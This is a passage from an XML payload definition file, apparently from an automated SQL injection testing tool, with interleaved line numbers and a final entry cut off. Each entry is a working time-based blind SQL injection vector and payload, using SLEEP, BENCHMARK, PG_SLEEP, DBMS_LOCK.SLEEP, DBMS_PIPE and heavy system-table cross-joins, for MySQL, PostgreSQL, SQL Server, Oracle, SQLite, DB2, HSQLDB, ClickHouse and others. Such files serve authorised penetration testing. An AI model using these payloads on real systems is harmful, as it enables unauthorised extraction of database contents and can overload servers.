1494
        </details>
1495
    </test>
1496

1497
    <test>
1498
        <title>ClickHouse AND time-based blind (heavy query)</title>
1499
        <stype>5</stype>
1500
        <level>4</level>
1501
        <risk>1</risk>
1502
        <clause>1,2,3</clause>
1503
        <where>1</where>
1504
        <vector>AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))</vector>
1505
        <request>
1506
            <payload>AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))</payload>
1507
        </request>
1508
        <response>
1509
            <time>[DELAYED]</time>
1510
        </response>
1511
        <details>
1512
            <dbms>ClickHouse</dbms>
1513
        </details>
1514
    </test>
1515

1516
    <test>
1517
        <title>ClickHouse OR time-based blind (heavy query)</title>
1518
        <stype>5</stype>
1519
        <level>5</level>
1520
        <risk>3</risk>
1521
        <clause>1,2,3</clause>
1522
        <where>1</where>
1523
        <vector>OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))</vector>
1524
        <request>
1525
            <payload>OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))</payload>
1526
        </request>
1527
        <response>
1528
            <time>[DELAYED]</time>
1529
        </response>
1530
        <details>
1531
            <dbms>ClickHouse</dbms>
1532
        </details>
1533
    </test>
1534

1535
    <!-- End of time-based boolean tests -->
1536

1537
    <!-- Time-based boolean tests - Numerous clauses -->
1538
    <!-- This payload does not work with SLEEP() -->
1539
    <test>
1540
        <title>MySQL &gt;= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)</title>
1541
        <stype>5</stype>
1542
        <level>3</level>
1543
        <risk>2</risk>
1544
        <clause>1,2,3,4,5</clause>
1545
        <where>1</where>
1546
        <vector>PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1)</vector>
1547
        <request>
1548
            <payload>PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1)</payload>
1549
        </request>
1550
        <response>
1551
            <time>[SLEEPTIME]</time>
1552
        </response>
1553
        <details>
1554
            <dbms>MySQL</dbms>
1555
            <dbms_version>&gt;= 5.0.12</dbms_version>
1556
        </details>
1557
    </test>
1558

1559
    <test>
1560
        <title>MySQL &gt;= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)</title>
1561
        <stype>5</stype>
1562
        <level>5</level>
1563
        <risk>2</risk>
1564
        <clause>1,2,3,4,5</clause>
1565
        <where>1</where>
1566
        <vector>PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1)</vector>
1567
        <request>
1568
            <payload>PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1)</payload>
1569
            <comment>#</comment>
1570
        </request>
1571
        <response>
1572
            <time>[SLEEPTIME]</time>
1573
        </response>
1574
        <details>
1575
            <dbms>MySQL</dbms>
1576
            <dbms_version>&gt;= 5.0.12</dbms_version>
1577
        </details>
1578
    </test>
1579
    <!-- End of time-based boolean tests - Numerous clauses -->
1580

1581
    <!-- Time-based boolean tests - Parameter replace -->
1582
    <test>
1583
        <title>MySQL &gt;= 5.0.12 time-based blind - Parameter replace</title>
1584
        <stype>5</stype>
1585
        <level>2</level>
1586
        <risk>1</risk>
1587
        <clause>1,2,3,9</clause>
1588
        <where>3</where>
1589
        <vector>(CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
1590
        <request>
1591
            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
1592
        </request>
1593
        <response>
1594
            <time>[SLEEPTIME]</time>
1595
        </response>
1596
        <details>
1597
            <dbms>MySQL</dbms>
1598
            <dbms_version>&gt;= 5.0.12</dbms_version>
1599
        </details>
1600
    </test>
1601

1602
    <test>
1603
        <title>MySQL &gt;= 5.0.12 time-based blind - Parameter replace (substraction)</title>
1604
        <stype>5</stype>
1605
        <level>3</level>
1606
        <risk>1</risk>
1607
        <clause>1,2,3,9</clause>
1608
        <where>3</where>
1609
        <vector>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
1610
        <request>
1611
            <payload>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
1612
        </request>
1613
        <response>
1614
            <time>[SLEEPTIME]</time>
1615
        </response>
1616
        <details>
1617
            <dbms>MySQL</dbms>
1618
            <dbms_version>&gt;= 5.0.12</dbms_version>
1619
        </details>
1620
    </test>
1621

1622
    <test>
1623
        <title>MySQL &lt; 5.0.12 time-based blind - Parameter replace (BENCHMARK)</title>
1624
        <stype>5</stype>
1625
        <level>4</level>
1626
        <risk>2</risk>
1627
        <clause>1,2,3,9</clause>
1628
        <where>3</where>
1629
        <vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</vector>
1630
        <request>
1631
            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</payload>
1632
        </request>
1633
        <response>
1634
            <time>[DELAYED]</time>
1635
        </response>
1636
        <details>
1637
            <dbms>MySQL</dbms>
1638
            <dbms_version>&lt; 5.0.12</dbms_version>
1639
        </details>
1640
    </test>
1641

1642
    <test>
1643
        <title>MySQL &gt; 5.0.12 time-based blind - Parameter replace (heavy query - comment)</title>
1644
        <stype>5</stype>
1645
        <level>5</level>
1646
        <risk>2</risk>
1647
        <clause>1,2,3,9</clause>
1648
        <where>3</where>
1649
        <vector>IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
1650
        <request>
1651
            <payload>(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
1652
        </request>
1653
        <response>
1654
            <time>[DELAYED]</time>
1655
        </response>
1656
        <details>
1657
            <dbms>MySQL</dbms>
1658
            <dbms_version>&gt; 5.0.12</dbms_version>
1659
        </details>
1660
    </test>
1661

1662
    <test>
1663
        <title>MySQL time-based blind - Parameter replace (bool)</title>
1664
        <stype>5</stype>
1665
        <level>4</level>
1666
        <risk>1</risk>
1667
        <clause>1,2,3,9</clause>
1668
        <where>3</where>
1669
        <vector>([INFERENCE] AND SLEEP([SLEEPTIME]))</vector>
1670
        <request>
1671
            <payload>([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME]))</payload>
1672
        </request>
1673
        <response>
1674
            <time>[SLEEPTIME]</time>
1675
        </response>
1676
        <details>
1677
            <dbms>MySQL</dbms>
1678
        </details>
1679
    </test>
1680

1681
    <test>
1682
        <title>MySQL time-based blind - Parameter replace (ELT)</title>
1683
        <stype>5</stype>
1684
        <level>5</level>
1685
        <risk>1</risk>
1686
        <clause>1,2,3,9</clause>
1687
        <where>3</where>
1688
        <vector>ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
1689
        <request>
1690
            <payload>ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
1691
        </request>
1692
        <response>
1693
            <time>[SLEEPTIME]</time>
1694
        </response>
1695
        <details>
1696
            <dbms>MySQL</dbms>
1697
        </details>
1698
    </test>
1699

1700
    <test>
1701
        <title>MySQL time-based blind - Parameter replace (MAKE_SET)</title>
1702
        <stype>5</stype>
1703
        <level>5</level>
1704
        <risk>1</risk>
1705
        <clause>1,2,3,9</clause>
1706
        <where>3</where>
1707
        <vector>MAKE_SET([INFERENCE],SLEEP([SLEEPTIME]))</vector>
1708
        <request>
1709
            <payload>MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
1710
        </request>
1711
        <response>
1712
            <time>[SLEEPTIME]</time>
1713
        </response>
1714
        <details>
1715
            <dbms>MySQL</dbms>
1716
        </details>
1717
    </test>
1718

1719
    <test>
1720
        <title>PostgreSQL &gt; 8.1 time-based blind - Parameter replace</title>
1721
        <stype>5</stype>
1722
        <level>3</level>
1723
        <risk>1</risk>
1724
        <clause>1,2,3,9</clause>
1725
        <where>3</where>
1726
        <vector>(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
1727
        <request>
1728
            <payload>(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))</payload>
1729
        </request>
1730
        <response>
1731
            <time>[SLEEPTIME]</time>
1732
        </response>
1733
        <details>
1734
            <dbms>PostgreSQL</dbms>
1735
            <dbms_version>&gt; 8.1</dbms_version>
1736
        </details>
1737
    </test>
1738

1739
    <test>
1740
        <title>PostgreSQL time-based blind - Parameter replace (heavy query)</title>
1741
        <stype>5</stype>
1742
        <level>4</level>
1743
        <risk>2</risk>
1744
        <clause>1,2,3,9</clause>
1745
        <where>3</where>
1746
        <vector>(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
1747
        <request>
1748
            <payload>(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))</payload>
1749
        </request>
1750
        <response>
1751
            <time>[DELAYED]</time>
1752
        </response>
1753
        <details>
1754
            <dbms>PostgreSQL</dbms>
1755
        </details>
1756
    </test>
1757

1758
    <test>
1759
        <title>Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries)</title>
1760
        <stype>5</stype>
1761
        <level>4</level>
1762
        <risk>2</risk>
1763
        <clause>1,3,9</clause>
1764
        <where>3</where>
1765
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END))</vector>
1766
        <request>
1767
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END))</payload>
1768
        </request>
1769
        <response>
1770
            <time>[DELAYED]</time>
1771
        </response>
1772
        <details>
1773
            <dbms>Microsoft SQL Server</dbms>
1774
            <dbms>Sybase</dbms>
1775
        </details>
1776
    </test>
1777

1778
    <!-- Without parentesis because it never works with them, useful to exploit SQL injection in Oracle E-Business Suite Financials -->
1779
    <test>
1780
        <title>Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)</title>
1781
        <stype>5</stype>
1782
        <level>3</level>
1783
        <risk>1</risk>
1784
        <clause>1,3,9</clause>
1785
        <where>3</where>
1786
        <vector>BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;</vector>
1787
        <request>
1788
            <payload>BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;</payload>
1789
        </request>
1790
        <response>
1791
            <time>[SLEEPTIME]</time>
1792
        </response>
1793
        <details>
1794
            <dbms>Oracle</dbms>
1795
        </details>
1796
    </test>
1797

1798
    <test>
1799
        <title>Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE)</title>
1800
        <stype>5</stype>
1801
        <level>3</level>
1802
        <risk>1</risk>
1803
        <clause>1,3,9</clause>
1804
        <where>3</where>
1805
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL)</vector>
1806
        <request>
1807
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL)</payload>
1808
        </request>
1809
        <response>
1810
            <time>[SLEEPTIME]</time>
1811
        </response>
1812
        <details>
1813
            <dbms>Oracle</dbms>
1814
        </details>
1815
    </test>
1816

1817
    <test>
1818
        <title>Oracle time-based blind - Parameter replace (heavy queries)</title>
1819
        <stype>5</stype>
1820
        <level>4</level>
1821
        <risk>2</risk>
1822
        <clause>1,3,9</clause>
1823
        <where>3</where>
1824
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL)</vector>
1825
        <request>
1826
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL)</payload>
1827
        </request>
1828
        <response>
1829
            <time>[DELAYED]</time>
1830
        </response>
1831
        <details>
1832
            <dbms>Oracle</dbms>
1833
        </details>
1834
    </test>
1835

1836
    <test>
1837
        <title>SQLite &gt; 2.0 time-based blind - Parameter replace (heavy query)</title>
1838
        <stype>5</stype>
1839
        <level>4</level>
1840
        <risk>2</risk>
1841
        <clause>1,2,3,9</clause>
1842
        <where>3</where>
1843
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END))</vector>
1844
        <request>
1845
            <payload>(SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))))</payload>
1846
        </request>
1847
        <response>
1848
            <time>[DELAYED]</time>
1849
        </response>
1850
        <details>
1851
            <dbms>SQLite</dbms>
1852
            <dbms_version>&gt; 2.0</dbms_version>
1853
        </details>
1854
    </test>
1855

1856
    <test>
1857
        <title>Firebird time-based blind - Parameter replace (heavy query)</title>
1858
        <stype>5</stype>
1859
        <level>5</level>
1860
        <risk>2</risk>
1861
        <clause>1,2,3,9</clause>
1862
        <where>3</where>
1863
        <vector>IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM])</vector>
1864
        <request>
1865
            <payload>(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)</payload>
1866
        </request>
1867
        <response>
1868
            <time>[DELAYED]</time>
1869
        </response>
1870
        <details>
1871
            <dbms>Firebird</dbms>
1872
            <dbms_version>&gt;= 2.0</dbms_version>
1873
        </details>
1874
    </test>
1875

1876
    <test>
1877
        <title>SAP MaxDB time-based blind - Parameter replace (heavy query)</title>
1878
        <stype>5</stype>
1879
        <level>5</level>
1880
        <risk>2</risk>
1881
        <clause>1,3,9</clause>
1882
        <where>3</where>
1883
        <vector>(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3)</vector>
1884
        <request>
1885
            <payload>(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)</payload>
1886
        </request>
1887
        <response>
1888
            <time>[DELAYED]</time>
1889
        </response>
1890
        <details>
1891
            <dbms>SAP MaxDB</dbms>
1892
        </details>
1893
    </test>
1894

1895
    <test>
1896
        <title>IBM DB2 time-based blind - Parameter replace (heavy query)</title>
1897
        <stype>5</stype>
1898
        <level>5</level>
1899
        <risk>2</risk>
1900
        <clause>1,2,3,9</clause>
1901
        <where>3</where>
1902
        <vector>(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))</vector>
1903
        <request>
1904
            <payload>(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)</payload>
1905
        </request>
1906
        <response>
1907
            <time>[DELAYED]</time>
1908
        </response>
1909
        <details>
1910
            <dbms>IBM DB2</dbms>
1911
        </details>
1912
    </test>
1913

1914
    <!-- Untested -->
1915
    <test>
1916
        <title>HSQLDB &gt;= 1.7.2 time-based blind - Parameter replace (heavy query)</title>
1917
        <stype>5</stype>
1918
        <level>4</level>
1919
        <risk>2</risk>
1920
        <clause>1,2,3,9</clause>
1921
        <where>3</where>
1922
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)</vector>
1923
        <request>
1924
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)</payload>
1925
        </request>
1926
        <response>
1927
            <time>[SLEEPTIME]</time>
1928
        </response>
1929
        <details>
1930
            <dbms>HSQLDB</dbms>
1931
            <dbms_version>&gt;= 1.7.2</dbms_version>
1932
        </details>
1933
    </test>
1934

1935
    <test>
1936
        <title>HSQLDB &gt; 2.0 time-based blind - Parameter replace (heavy query)</title>
1937
        <stype>5</stype>
1938
        <level>5</level>
1939
        <risk>2</risk>
1940
        <clause>1,2,3,9</clause>
1941
        <where>3</where>
1942
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0)))</vector>
1943
        <request>
1944
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0)))</payload>
1945
        </request>
1946
        <response>
1947
            <time>[SLEEPTIME]</time>
1948
        </response>
1949
        <details>
1950
            <dbms>HSQLDB</dbms>
1951
            <dbms_version>&gt; 2.0</dbms_version>
1952
        </details>
1953
    </test>
1954

1955
    <test>
1956
        <title>Informix time-based blind - Parameter replace (heavy query)</title>
1957
        <stype>5</stype>
1958
        <level>4</level>
1959
        <risk>2</risk>
1960
        <clause>1,2,3,9</clause>
1961
        <where>3</where>
1962
        <vector>(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector>
1963
        <request>
1964
            <payload>(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload>
1965
        </request>
1966
        <response>
1967
            <time>[DELAYED]</time>
1968
        </response>
1969
        <details>
1970
            <dbms>Informix</dbms>
1971
        </details>
1972
    </test>
1973
    <!-- End of time-based boolean tests - Parameter replace -->
1974

1975
    <!-- Time-based boolean tests - ORDER BY, GROUP BY clause -->
1976
    <test>
1977
        <title>MySQL &gt;= 5.0.12 time-based blind - ORDER BY, GROUP BY clause</title>
1978
        <stype>5</stype>
1979
        <level>3</level>
1980
        <risk>1</risk>
1981
        <clause>2,3</clause>
1982
        <where>1</where>
1983
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
1984
        <request>
1985
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
1986
        </request>
1987
        <response>
1988
            <time>[SLEEPTIME]</time>
1989
        </response>
1990
        <details>
1991
            <dbms>MySQL</dbms>
1992
            <dbms_version>&gt;= 5.0.12</dbms_version>
1993
        </details>
1994
    </test>
1995

1996
    <test>
1997
        <title>MySQL &lt; 5.0.12 time-based blind - ORDER BY, GROUP BY clause (BENCHMARK)</title>
1998
        <stype>5</stype>
1999
        <level>4</level>
2000
        <risk>2</risk>
2001
        <clause>2,3</clause>
2002
        <where>1</where>
2003
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>
2004
        <request>
2005
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>
2006
        </request>
2007
        <response>
2008
            <time>[DELAYED]</time>
2009
        </response>
2010
        <details>
2011
            <dbms>MySQL</dbms>
2012
            <dbms_version>&lt; 5.0.12</dbms_version>
2013
        </details>
2014
    </test>
2015

2016
    <test>
2017
        <title>PostgreSQL &gt; 8.1 time-based blind - ORDER BY, GROUP BY clause</title>
2018
        <stype>5</stype>
2019
        <level>3</level>
2020
        <risk>1</risk>
2021
        <clause>2,3</clause>
2022
        <where>1</where>
2023
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END))</vector>
2024
        <request>
2025
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END))</payload>
2026
        </request>
2027
        <response>
2028
            <time>[SLEEPTIME]</time>
2029
        </response>
2030
        <details>
2031
            <dbms>PostgreSQL</dbms>
2032
            <dbms_version>&gt; 8.1</dbms_version>
2033
        </details>
2034
    </test>
2035

2036
    <test>
2037
        <title>PostgreSQL time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
2038
        <stype>5</stype>
2039
        <level>4</level>
2040
        <risk>2</risk>
2041
        <clause>2,3</clause>
2042
        <where>1</where>
2043
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END))</vector>
2044
        <request>
2045
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END))</payload>
2046
        </request>
2047
        <response>
2048
            <time>[DELAYED]</time>
2049
        </response>
2050
        <details>
2051
            <dbms>PostgreSQL</dbms>
2052
        </details>
2053
    </test>
2054

2055
    <test>
2056
        <title>Microsoft SQL Server/Sybase time-based blind - ORDER BY clause (heavy query)</title>
2057
        <stype>5</stype>
2058
        <level>4</level>
2059
        <risk>2</risk>
2060
        <clause>2,3</clause>
2061
        <where>1</where>
2062
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector>
2063
        <request>
2064
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload>
2065
        </request>
2066
        <response>
2067
            <time>[DELAYED]</time>
2068
        </response>
2069
        <details>
2070
            <dbms>Microsoft SQL Server</dbms>
2071
            <dbms>Sybase</dbms>
2072
        </details>
2073
    </test>
2074

2075
    <test>
2076
        <title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)</title>
2077
        <stype>5</stype>
2078
        <level>3</level>
2079
        <risk>1</risk>
2080
        <clause>2,3</clause>
2081
        <where>1</where>
2082
        <vector>,(BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;)</vector>
2083
        <request>
2084
            <payload>,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;)</payload>
2085
        </request>
2086
        <response>
2087
            <time>[SLEEPTIME]</time>
2088
        </response>
2089
        <details>
2090
            <dbms>Oracle</dbms>
2091
        </details>
2092
    </test>
2093

2094
    <test>
2095
        <title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_PIPE.RECEIVE_MESSAGE)</title>
2096
        <stype>5</stype>
2097
        <level>3</level>
2098
        <risk>1</risk>
2099
        <clause>2,3</clause>
2100
        <where>1</where>
2101
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
2102
        <request>
2103
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
2104
        </request>
2105
        <response>
2106
            <time>[SLEEPTIME]</time>
2107
        </response>
2108
        <details>
2109
            <dbms>Oracle</dbms>
2110
        </details>
2111
    </test>
2112

2113
    <test>
2114
        <title>Oracle time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
2115
        <stype>5</stype>
2116
        <level>4</level>
2117
        <risk>2</risk>
2118
        <clause>2,3</clause>
2119
        <where>1</where>
2120
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
2121
        <request>
2122
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
2123
        </request>
2124
        <response>
2125
            <time>[DELAYED]</time>
2126
        </response>
2127
        <details>
2128
            <dbms>Oracle</dbms>
2129
        </details>
2130
    </test>
2131

2132
    <test>
2133
        <title>HSQLDB &gt;= 1.7.2 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
2134
        <stype>5</stype>
2135
        <level>4</level>
2136
        <risk>2</risk>
2137
        <clause>2,3</clause>
2138
        <where>1</where>
2139
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)</vector>
2140
        <request>
2141
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)</payload>
2142
            <comment>--</comment>
2143
        </request>
2144
        <response>
2145
            <time>[DELAYED]</time>
2146
        </response>
2147
        <details>
2148
            <dbms>HSQLDB</dbms>
2149
            <dbms_version>&gt;= 1.7.2</dbms_version>
2150
        </details>
2151
    </test>    
2152
    
2153
    <test>
2154
        <title>HSQLDB &gt; 2.0 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
2155
        <stype>5</stype>
2156
        <level>4</level>
2157
        <risk>2</risk>
2158
        <clause>2,3</clause>
2159
        <where>1</where>
2160
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0)))</vector>
2161
        <request>
2162
